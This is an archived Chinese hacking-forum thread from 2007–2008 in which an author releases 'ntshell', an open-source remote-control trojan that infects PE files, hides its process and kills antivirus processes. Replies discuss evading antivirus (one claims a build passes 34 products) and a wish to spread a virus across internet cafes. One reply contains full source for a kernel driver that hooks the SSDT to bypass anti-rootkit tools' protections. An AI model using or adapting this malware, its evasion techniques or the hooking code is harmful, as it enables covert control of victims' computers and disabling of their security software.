邪恶八进制信息安全团队技术讨论组's Archiver

被诅咒的神 2007-12-31 00:38

[原创]结合内核和病毒技术的最新远程控制软件ntshell v1.07(开源代码)

软件作者:被诅咒的神
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

这是一个免费开源的远程控制软件,源码仅供学习参考,请勿用于非法用途。

功能特点:
1.提供CMDSHELL、文件管理、进程管理、端口代理(未完成)、屏幕捕获和一些其它功能

2.可感染32位PE文件,感染后可选择在宿主进程空间中运行(无进程)或创建新进程运行,
在宿主进程中运行还可选择端口劫持,即复用宿主所打开的端口,感染不影响宿主正常运行

3.用到了一些内核技术,包括活动进程链脱链(隐藏进程),与ICESWORD相同的进程强杀方
法(能杀掉一些杀毒软件的进程),Ring0打开文件(用于感染正在运行的可执行文件),
2000/xp下采用无驱Ring0

4.同时支持正向连接和反向连接,服务端和控制端均可接受管理多个连接

感染文件方法:ntshell.exe -infect C:\test.exe
ntshell.exe先用生成服务端生成

安装成系统服务:ntshell.exe -install
服务移除:ntshell.exe -remove

代码编译环境:Windows XP SP2 + VC6.0
服务端采用纯C编写,VC直接编译
控制端为C++和WTL,需在VC中加入WTL支持才能编译

[attach]7073[/attach] [attach]7074[/attach] [attach]7075[/attach]  
如果您发现BUG或是有什么好的建议,请发送mail给我:ktwyz#163.com

注:由于没时间做兼容性测试,一些内核操作可能导致系统蓝屏,测试前请先保存好数据
注2:该版本尚未加入驱动支持,故暂时无法在2003下使用Ring0的全部功能


2008-01-01更新:
修正以服务方式运行程序会崩溃的BUG
修正部分窗口不能用快捷键的问题
修正控制台——下载并运行不能运行的BUG


2008-01-13更新:
内码改为unicode,非简体中文系统不会乱码了
增加了一个小型PELOADER,运行被感染的文件后不会再释放出DLL文件
增加了文件上传下载功能(不太好用,可以无视)
修正了几个BUG,做了一些小调整


ntshell停止开发,在此感谢提供BUG和支持我的朋友

fucking 2007-12-31 12:11

不错吧~LZ可以考虑加入穿还原的代码撒,毕竟现在大多数是网吧用户嘛。。。还有界面貌似是MFC写的?

收藏。。谢谢。。。 [s:265]

pc逍遥鼠 2007-12-31 12:14

还原卡可以破解吗!呵呵!主要是破解的还原卡需要密码!我哪知道管理员密码是那个!呵呵!

被诅咒的神 2007-12-31 12:34

[quote]引用第2楼pc逍遥鼠于2007-12-31 11:06发表的 :
怎么大家做的都是木马呀!难道这个东西很值钱吗!还不如做几个CC的攻击器那!至少可以成为商用的!呵呵!木马这个东西主要不就是免杀吗!不免杀也就没有什么作用了!功能都差不多![/quote]

这个是自用的,而且设计之初就没考虑过用来挂马,所以没做免杀
另外做这个除了自用就是研究技术,要商用就不开源了。。。。。。。

tendollor 2007-12-31 12:35

那个穿还原的好象不是破解掉还原卡~~
是不需要密码的~~应该是写了比还原个级别更高的驱动下载者~(听说的)
哈哈~这个好东西我就收下了~~最近正在研究怎么写远程控制~~[s:265]

被诅咒的神 2007-12-31 12:37

[quote]引用第3楼fucking于2007-12-31 12:11发表的 :
不错吧~LZ可以考虑加入穿还原的代码撒,毕竟现在大多数是网吧用户嘛。。。还有界面貌似是MFC写的?

收藏。。谢谢。。。 [s:265][/quote]

界面是WTL

zshoucheng 2007-12-31 13:06

不错的木马&病毒模板。。。

建议加精!楼主可以进VIP了 [s:266]

被诅咒的神 2007-12-31 14:12

繁体啊,过段时间给改成多语言的好了

fucking 2007-12-31 14:18

[quote]引用第4楼pc逍遥鼠于2007-12-31 12:14发表的 :
还原卡可以破解吗!呵呵!主要是破解的还原卡需要密码!我哪知道管理员密码是那个!呵呵![/quote]

怎么不可以破呢?前端时间的机器狗就可以破啊,而且冰点等,还有硬件还原卡都可以穿的。。。你可以去看看机器卡的汇编代码奥。。。

heihawow 2007-12-31 22:05

偶觉得大多数远控用户最关注的因素:
1、稳定性好(稳定压倒一切), 不要占太多cpu
2、基本功能:文件管理、进程管理、cmdshell、注册表、屏幕控制(速度要快)、键盘记录、
摄像头监控、广播功能
3、容易免杀处理
做好上面所叙,每一天都无可挑剔就已经是个非常优秀的远控了

个人现在用Evilotus v1.3.2 觉得该东东是目前最适合自己的远控了,因为其稳定性非常的好,
基本满足上面所叙的,因为作者已经停止更新了,所以十分遗憾
呵呵,因为现在个性化需求太多了,自己动手或者加入某vip吧。

wwwst 2007-12-31 23:49

[url]http://blog.csdn.net/sgdgoodboy/archive/2007/11/02/1862727.aspx[/url]
关于WTL的介绍...
    搞了这么久VC还不知道有这东东,惭愧.....55555

neversaylove 2008-1-1 00:00

哎呀,这个时候发出来意义是不同凡响的啊。
我也是头次认识WTL
注意我顶贴的时间

█黑夜网客█ 2008-1-1 03:22

我还认为如果能加进参透还原精灵的功能的话,那就VERY GOOD,界面为不美化啊,这个界面看起来很土气

█黑夜网客█ 2008-1-1 03:39

好象少了一个键盘记录,我刚刚试验了下不错,我也帮你试验做了免杀了能过34款杀毒软件,.呵呵.谢谢你的分享,我准备把他改成我专业版本不知道你可否接受,我把他美化一下

pc逍遥鼠 2008-1-1 10:38

机器狗可是个好东西,要是有源代码或者生成器就好了!呵呵!等待的就是这个病毒!呵呵!在网吧内大面积释放!呵呵! [s:264]

andds 2008-1-1 10:56

测试了一下,WSYSCHECK和冰刃下无法隐藏进程和服务.

被诅咒的神 2008-1-1 13:03

[quote]引用第17楼█黑夜网客█于2008-01-01 03:39发表的 :
好象少了一个键盘记录,我刚刚试验了下不错,我也帮你试验做了免杀了能过34款杀毒软件,.呵呵.谢谢你的分享,我准备把他改成我专业版本不知道你可否接受,我把他美化一下[/quote]

可以啊,保留原作者信息就行了

被诅咒的神 2008-1-1 13:06

[quote]引用第19楼andds于2008-01-01 10:56发表的 :
测试了一下,WSYSCHECK和冰刃下无法隐藏进程和服务.[/quote]

正常的,其实要彻底隐藏最好的方法就是不要有进程

sudami 2008-1-1 13:13

[quote]引用第19楼andds于2008-01-01 10:56发表的 :
测试了一下,WSYSCHECK和冰刃下无法隐藏进程和服务.[/quote]

仅仅断ActiveProcess链骗骗任务管理器还行。
pass IS,RKU还是要用点猥亵手法的.[s:267]

eg. 关csrss.exe中的handle,抹PspCidTable,顺便自己实现线程调度,把KeDispatcherReadyListHead、KiWaitListHead....的表头换到自己新建的链头中去,忽悠下靠这些链检测隐藏进程的anti-rootkit还是可以的。。。。

sudami 2008-1-1 13:18

[quote]引用第22楼被诅咒的神于2008-01-01 13:11发表的 :
昨天发了只免杀ASM病毒的源码好像没通过审核,有兴趣的直接发邮件找我要吧 [email]ktwyz@163.com[/email]
注意不要跟贴留自己的邮箱,会把本贴搞得很乱


以下是那只病毒的介绍:
.......[/quote]

免杀和过主防还是有区别滴,MS微点快上市了,未来的主动防御越来越强大咯。
还木有等你进R0就已经被扼杀在摇篮中,免杀做的再还也木有用啊~[s:265]

simpleboy 2008-1-1 14:06

现在还是免杀更重要些
反向连接

被诅咒的神 2008-1-1 14:22

[quote]引用第24楼sudami于2008-01-01 13:18发表的 :


免杀和过主防还是有区别滴,MS微点快上市了,未来的主动防御越来越强大咯。
还木有等你进R0就已经被扼杀在摇篮中,免杀做的再还也木有用啊~[s:265][/quote]


这东西除了Ring0外没有什么明显的病毒特征,而且这东西也不依赖Ring0,
它具有的行为大部分正常软件也具有,应该不存在被主动防御杀掉的可能

takdick 2008-1-1 15:43

[quote]引用第10楼被诅咒的神于2007-12-31 14:12发表的 :
繁体啊,过段时间给改成多语言的好了[/quote]
期待繁體版的面世,呵呵...謝謝樓主的無私奉獻,這東西夠我研究一段長時間了.
另外樓主有沒有Delphi版的源碼呀,其他程序的也可以,望能分享一下.

zshoucheng 2008-1-1 15:47

再怎么隐藏进程总可以检测出来。。。
现在都玩 dll + sys了,没有进程 [s:266]

evilsir 2008-1-1 17:28

[quote]引用第23楼sudami于2008-01-01 13:13发表的 :

仅仅断ActiveProcess链骗骗任务管理器还行。
pass IS,RKU还是要用点猥亵手法的.[s:267]

.......[/quote]

过IS不是什么大课题了,或者直接无痕做掉IS...
其他一些隐藏方法,公布出来的就都不是什么方法了,自己猥琐点,多法结合,或者利用一些XX技术...

PS: 这个世界真小,KernelPollution里也有你... 上EST真费力...

被诅咒的神 2008-1-1 18:54

[quote]引用第29楼takdick于2008-01-01 15:43发表的 :

期待繁體版的面世,呵呵...謝謝樓主的無私奉獻,這東西夠我研究一段長時間了.
另外樓主有沒有Delphi版的源碼呀,其他程序的也可以,望能分享一下.[/quote]

没有,我做的基本是VC程序

被诅咒的神 2008-1-1 18:58

隐藏进程的大前提是Ring0或物理内存,只要杀毒软件看严点这两点都很难实现,
公开的东西行为来是低调点好

hray 2008-1-1 21:06

这个远控还能感染文件和强行关闭杀软,跟病毒也有几分相似之处啊,先用一段时间,看看稳定性和功能如何

vrwqq 2008-1-2 15:34

请教一个问题:编译时说找不大atlres.h文件,是什么原因,麻烦有那位知道告诉一下,谢谢了

被诅咒的神 2008-1-2 20:45

楼上的要先在VC里加入WTL支持,在网上找下WTL吧

blackhorse 2008-1-3 21:05

运行后某进程提示错误无法使用!
环境:虚拟机下winxp pro en版

eking 2008-1-4 18:48

感染文件方法:ntshell.exe -infect C:\test.exe

安装成系统服务:ntshell.exe -install

都不好使(winxp pro sp2),只有双击,然后进程被发现-在任务管理器中能看见

eking 2008-1-4 19:27

编译时

C:\Documents and Settings\Administrator\桌面\2008-01-01\console.rc (694): error RC2135 : file not found: Release\ntshell.exe
Error executing rc.exe.

怎么回事啊, 它说找不到Release\ntshell.exe ,我是要构造一个Release\ntshell.exe吗?
ntshell.exe 从哪儿来?是你已经编译好的console.exe生成的服务端ntshell.exe吗?

scw121 2008-1-4 20:57

把ntshell.exe放到Release目录下.......

niukuo 2008-1-4 22:12

代码有些错误,LoadConfig好像执行了2次,导致程序直接当掉
我把KServiceMain里的LoadConfig();注释掉了,没事了

被诅咒的神 2008-1-5 15:46

[quote]引用第32楼blackhorse于2008-01-03 21:05发表的 :
运行后某进程提示错误无法使用!
环境:虚拟机下winxp pro en版[/quote]

描述不清楚,不知道是不是之前那个服务方式运行的BUG

被诅咒的神 2008-1-5 15:48

[quote]引用第34楼eking于2008-01-04 18:48发表的 :
感染文件方法:ntshell.exe -infect C:test.exe

安装成系统服务:ntshell.exe -install

都不好使(winxp pro sp2),只有双击,然后进程被发现-在任务管理器中能看见[/quote]

似乎有极少数XP sp2的活动进程链偏移有变化,还有隐藏进程默认不开启,因为用处不大

被诅咒的神 2008-1-5 15:50

[quote]引用第37楼niukuo于2008-01-04 22:12发表的 :
代码有些错误,LoadConfig好像执行了2次,导致程序直接当掉
我把KServiceMain里的LoadConfig();注释掉了,没事了[/quote]

确实有这个BUG,已修正,重新下载就行了

被诅咒的神 2008-1-5 15:53

辞职了,现在时间多多,休息两天继续开发,欢迎提建议

koer 2008-1-5 17:31

老大前段时候为什么禁止我发帖!!!

对付主动防御
1,SSDT
SSDT即系统服务描述符表,它的结构如下(参考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
  PVOID ServiceTableBase;   //这个指向系统服务函数地址表
  PULONG ServiceCounterTableBase;
  ULONG NumberOfService;   //服务函数的个数,NumberOfService*4 就是整个地址表的大小
  ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;

typedef struct _SERVICE_DESCRIPTOR_TABLE
{
  SYSTEM_SERVICE_TABLE ntoskrnel; //ntoskrnl.exe的服务函数
  SYSTEM_SERVICE_TABLE win32k;  //win32k.sys的服务函数,(gdi.dll/user.dll的内核支持)
  SYSTEM_SERVICE_TABLE NotUsed1;
  SYSTEM_SERVICE_TABLE NotUsed2;
}SYSTEM_DESCRIPTOR_TABLE,*PSYSTEM_DESCRIPTOR_TABLE;

内核中有两个系统服务描述符表,一个是KeServiceDescriptorTable(由ntoskrnl.exe导出),一个是KeServieDescriptorTableShadow(没有导出)。两者的区别是,KeServiceDescriptorTable仅有ntoskrnel一项,KeServieDescriptorTableShadow包含了ntoskrnel以及win32k。一般的Native API的服务地址由KeServiceDescriptorTable分派,gdi.dll/user.dll的内核API调用服务地址由KeServieDescriptorTableShadow分派。还有要清楚一点的是win32k.sys只有在GUI线程中才加载,一般情况下是不加载的,所以要Hook KeServieDescriptorTableShadow的话,一般是用一个GUI程序通过IoControlCode来触发(想当初不明白这点,蓝屏死机了N次都想不明白是怎么回事)。

2,SSDT HOOK
SSDT HOOK 的原理其实非常简单,我们先实际看看KeServiceDescriptorTable是什么样的。  
lkd> dd KeServiceDescriptorTable
8055ab80 804e3d20 00000000 0000011c 804d9f48
8055ab90 00000000 00000000 00000000 00000000
8055aba0 00000000 00000000 00000000 00000000
8055abb0 00000000 00000000 00000000 00000000
在windbg.exe中我们就看得比较清楚,KeServiceDescriptorTable中就只有第一项有数据,其他都是0。其中804e3d20就是
KeServiceDescriptorTable.ntoskrnel.ServiceTableBase,服务函数个数为0x11c个。我们再看看804e3d20地址里是什么东西:
lkd> dd 804e3d20
804e3d20 80587691 805716ef 8057ab71 80581b5c
804e3d30 80599ff7 80637b80 80639d05 80639d4e
804e3d40 8057741c 8064855b 80637347 80599539
804e3d50 8062f4ec 8057a98c 8059155e 8062661f
如上,80587691 805716ef 8057ab71 80581b5c 这些就是系统服务函数的地址了。比如当我们在ring3调用OpenProcess时,进入sysenter的ID是0x7A(XP SP2),然后系统查KeServiceDescriptorTable,大概是这样KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e3d20) + 0x7A * 4 = 804E3F08,然后804E3F08 ->8057559e 这个就是OpenProcess系统服务函数所在,我们再跟踪看看:
lkd> u 8057559e
nt!NtOpenProcess:
8057559e 68c4000000   push  0C4h
805755a3 6860b54e80   push  offset nt!ObReferenceObjectByPointer+0x127 (804eb560)
805755a8 e8e5e4f6ff   call  nt!InterlockedPushEntrySList+0x79 (804e3a92)
805755ad 33f6     xor  esi,esi
原来8057559e就是NtOpenProcess函数所在的起始地址。
嗯,如果我们把8057559e改为指向我们函数的地址呢?比如 MyNtOpenProcess,那么系统就会直接调用MyNtOpenProcess,而不是原来的NtOpenProcess了。这就是SSDT HOOK 原理所在。

3, ring0 inline hook
ring0 inline hook 跟ring3的没什么区别了,如果硬说有的话,那么就是ring3发生什么差错的话程序会挂掉,ring0发生什么差错的话系统就挂掉,所以一定要很小心。inline hook的基本思想就是在目标函数中JMP到自己的监视函数,做一些判断然后再JMP回去。一般都是修改函数头,不过再其他地方JMP也是可以的。下面我们来点实际的吧:
lkd> u nt!NtOpenProcess
nt!NtOpenProcess:
8057559e e95d6f4271   jmp  f199c500
805755a3 e93f953978   jmp  f890eae7
805755a8 e8e5e4f6ff   call  nt!InterlockedPushEntrySList+0x79 (804e3a92)
...
同时打开“冰刃”跟“Rootkit Unhooker”我们就能在NtOpenProcess函数头看到这样的“奇观”,第一个jmp是“冰刃”的,第二个jmp是“Rootkit Unhooker”的。他们这样是防止被恶意程序通过TerminateProcess关闭。当然“冰刃”还Hook了NtTerminateProcess等函数。

×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
好了,道理就说完了,下面就进入本文正题。
对付ring0 inline hook的基本思路是这样的,自己写一个替换的内核函数,以NtOpenProcess为例,就是MyNtOpenProcess。然后修改SSDT表,让系统服务进入自己的函数MyNtOpenProcess。而MyNtOpenProcess要做的事就是,实现NtOpenProcess前10字节指令,然后再JMP到原来的NtOpenProcess的十字节后。这样NtOpenProcess函数头写的JMP都失效了,在ring3直接调用OpenProcess再也毫无影响。
***************************************************************************************************************************
#include<ntddk.h>

typedef struct _SERVICE_DESCRIPTOR_TABLE
{
PVOID ServiceTableBase;
PULONG ServiceCounterTableBase;
ULONG NumberOfService;
ULONG ParamTableBase;
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE  KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数

/////////////////////////////////////
VOID Hook();
VOID Unhook();
VOID OnUnload(IN PDRIVER_OBJECT DriverObject);
//////////////////////////////////////
ULONG JmpAddress;//跳转到NtOpenProcess里的地址
ULONG OldServiceAddress;//原来NtOpenProcess的服务地址
//////////////////////////////////////
__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID ClientId)
{
DbgPrint("NtOpenProcess() called");
__asm{
push  0C4h
push  804eb560h //共十个字节
jmp  [JmpAddress]  
}
}
///////////////////////////////////////////////////
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = OnUnload;
DbgPrint("Unhooker load");
Hook();
return STATUS_SUCCESS;
}
/////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unhooker unload!");
Unhook();
}
/////////////////////////////////////////////////////
VOID Hook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID
DbgPrint("Address:0x%08X",Address);

OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址
DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);

DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);

JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+10的地方,这样在其前面写的JMP都失效了
DbgPrint("JmpAddress:0x%08X",JmpAddress);

__asm{//去掉内存保护
cli
  mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

*((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT

__asm{//恢复内存保护
   mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
//////////////////////////////////////////////////////
VOID Unhook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT

__asm{
cli
   mov eax,cr0
and eax,not 10000h
mov cr0,eax
}

*((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT

__asm{
  mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}

DbgPrint("Unhook");
}

koer 2008-1-5 17:43

楼主请问下你的服务端是怎么随机启动的?启动项和服务项一个也没有它的身影?
我在使用的时候查看肉机进程时360安全卫士报NTSHELL注入进程QQ.EXE
还有我点卸载服务端的时候它竟然提示不要乱点啊! 作者你也太搞笑了吧!!!
它的连接可以看到

23223 2008-1-7 05:12

build ntshell.c  老是出错,怎么办,刚用vc(2008版的),_IO_COUNTERS&#39; 这个结构。。。
------ Build started: Project: ntshell, Configuration: Debug Win32 ------
Compiling...
ntshell.c
c:\documents and settings\administrator\桌面\2008-01-01\ntshell.c(165) : error C2011: &#39;_IO_COUNTERS&#39; : &#39;struct&#39; type redefinition
    c:\program files\microsoft sdks\windows\v6.0a\include\winnt.h(7312) : see declaration of &#39;_IO_COUNTERS&#39;
c:\documents and settings\administrator\桌面\2008-01-01\ntshell.c(4017) : warning C4047: &#39;==&#39; : &#39;DWORD&#39; differs in levels of indirection from &#39;PDWORD&#39;
c:\documents and settings\administrator\桌面\2008-01-01\ntshell.c(4021) : warning C4047: &#39;=&#39; : &#39;DWORD&#39; differs in levels of indirection from &#39;PDWORD&#39;
Creating browse information file...
Microsoft Browse Information Maintenance Utility Version 9.00.21022
Copyright (C) Microsoft Corporation. All rights reserved.
Build log was saved at "file://c:\Documents and Settings\Administrator\桌面\2008-01-01\Debug\BuildLog.htm"
ntshell - 1 error(s), 2 warning(s)
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

Anskya 2008-1-8 09:04

太过分了。。。
添加
LoadlibraryA来载入DLL。。。

Delikon的花招哪里都能见到。。。鄙视Delikon。。。用这个东西欺骗大家。。。

可以参考一下Delikon的
A polymorph and encrypted VIRUS in C

被诅咒的神 2008-1-8 12:22

什么花招啊?

eking 2008-1-8 13:56

咱们能不能把这个ntshell发展成免费开源而且共享的远程控制工具,自愿者可以为它添加新的功能,不断完善,不断改进,就象VNC那样,不对,更象linux。

metalqiang 2008-1-8 23:27

ntshell.exe,也就是木马端支持加壳么?

185810581 2008-1-13 01:04

确实是个好东西.有机械狗的特点

xiao183 2008-1-15 19:33

我怎么编译和43楼的23223兄弟一样阿

C:\Documents and Settings\Administrator\桌面\几个源代码\2008-01-01\ntshell.c(165) : error C2011: &#39;_IO_COUNTERS&#39; : &#39;struct&#39; type redefinition
C:\Documents and Settings\Administrator\桌面\几个源代码\2008-01-01\ntshell.c(4017) : warning C4047: &#39;==&#39; : &#39;unsigned long &#39; differs in levels of indirection from &#39;unsigned long *&#39;
C:\Documents and Settings\Administrator\桌面\几个源代码\2008-01-01\ntshell.c(4021) : warning C4047: &#39;=&#39; : &#39;unsigned long &#39; differs in levels of indirection from &#39;unsigned long *&#39;
shlib.c

tianyaxin55 2008-1-16 22:56

C++和WTL
WTL 编写也这么牛?  现在不是都主动防御吗?
他比鸽子的技术好点 不杀

xiao183 2008-1-18 21:52

文章作者:也没有人回答我编译时出现error C2011: &#39;_IO_COUNTERS&#39; : &#39;struct&#39; type redefinition
这个错误怎么解决,郁闷,难道就没有人编译过?????????

页: [1] 2
© 1999-2008 EvilOctal Security Team